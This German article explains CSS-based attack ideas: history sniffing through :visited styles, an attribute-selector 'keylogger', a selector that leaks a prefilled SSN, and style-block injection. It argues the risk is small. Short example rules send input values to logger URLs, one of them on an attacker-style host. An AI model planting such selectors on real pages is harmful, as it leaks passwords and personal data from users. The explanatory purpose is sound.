CSS-Sicherheitslücken

Lassen Sie sich von dieser Überschrift nicht beunruhigen. Ich glaube nicht, dass CSS ein besonders gefährliches Sicherheitsproblem darstellt und meistens müssen Sie sich darüber keine Sorgen machen.

Aber ab und zu zirkulieren Artikel und erregen Aufmerksamkeit hinsichtlich der Möglichkeiten, was CSS tun kann, was Sie überraschen oder beunruhigen könnte.

Hier ist eine kleine Zusammenfassung.

Die Sorge um besuchte Links

Diese geht so:

1. Sie verlinken auf eine bestimmte Seite Ihrer Website, z. B. <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
2. Sie stylen den besuchten Zustand dieses Links wie a:visited { color: pink; }, was kein Standardstil des Benutzers ist.
3. Sie testen den berechneten Stil dieses Links.
4. Wenn er pink ist, ist dieser Benutzer ein Schweine-Kitzler.
5. Sie melden diese Information über Schweine-Kitzeln an einen Server irgendwo zurück und erhöhen wahrscheinlich dreifach die Versicherungssätze für Schweinebesitzer, da die Schweine sicherlich extreme emotionale Belastungen durch all das Kitzeln erleiden werden.

Sie könnten es sogar ganz in CSS machen, denn der `:visited`-Stil könnte wie background-image: url(/data-logger/tickle.php); sein, der nur von Schweine-Kitzlern angefordert wird.

Besorgt? Keine Sorge, Browser haben all dies verhindert.

Der Keylogger

Dieser hier geht so:

1. Es gibt ein Eingabefeld auf der Seite. Vielleicht ein Passwortfeld. Gruselig!
2. Sie setzen ein Logger-Skript als Wert für das Hintergrundbild des Eingabefelds, aber auch eine Milliarde weiterer Selektoren, sodass der Logger einen Teil oder das gesamte Passwort sammelt und meldet.

input[value^="a"] { background: url(logger.php?v=a); }

Dieser ist nicht so einfach. Das `value`-Attribut eines Eingabefelds ändert sich nicht nur, weil man hineintippt. Es passiert manchmal in Frameworks wie React, also wenn Sie dieses CSS auf eine Anmeldeseite anwenden, die von React betrieben und auf diese Weise codiert ist, dann könnte theoretisch dieser CSS-gesteuerte Keylogger funktionieren.

Aber… in diesem Fall wird ohnehin JavaScript auf dieser Seite ausgeführt. JavaScript ist 1000x besorgniserregender als CSS für solche Dinge. Ein Keylogger in JavaScript sind nur ein paar Zeilen Code, die auf Tastendrücke achten und diese über Ajax melden.

Drittanbieter- und XSS-eingefügtes Inline-JavaScript kann jetzt mit Content Security Policy (CSP) gestoppt werden… aber das gilt auch für CSS.

Der Datendieb

Diese geht so:

1. Wenn ich mein zwielichtiges CSS auf einer Seite anbringen kann, auf der Sie sich bei einer Website angemeldet haben…
2. Und diese Website sensible Informationen wie eine Sozialversicherungsnummer (SSN) in einem vorausgefüllten Formular anzeigt…
3. Kann ich Attributselektoren verwenden, um das herauszufinden.

input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

Eine Milliarde Selektoren und Sie haben alle Möglichkeiten abgedeckt!

Der Inline-Style-Block-Mistake

Ich weiß nicht, ob ich CSS dafür verantwortlich machen würde, aber stellen Sie sich vor:

<style>
  ... Drop in some user-generated stuff ...
</style>

Vielleicht erlauben Sie dem Benutzer eine CSS-Anpassung. Das ist ein Angriffsvektor, da er das Style-Tag schließen, ein Script-Tag öffnen und zwielichtiges JavaScript schreiben könnte.

Ich bin sicher, es gibt noch mehr

Haben Sie welche? Teilen Sie sie.

Ich bin ein wenig skeptisch, wie sehr ich mich über CSS-Sicherheitslücken fürchten sollte. Ich möchte Sicherheitssachen nicht zu sehr herunterspielen (insbesondere Bedenken bezüglich Drittanbietern), da ich kein Experte bin und Sicherheit von größter Bedeutung ist, aber gleichzeitig habe ich noch nie von CSS als Angriffsvektor für irgendetwas außerhalb einer Gedankenspielerei gehört. Bilden Sie mich!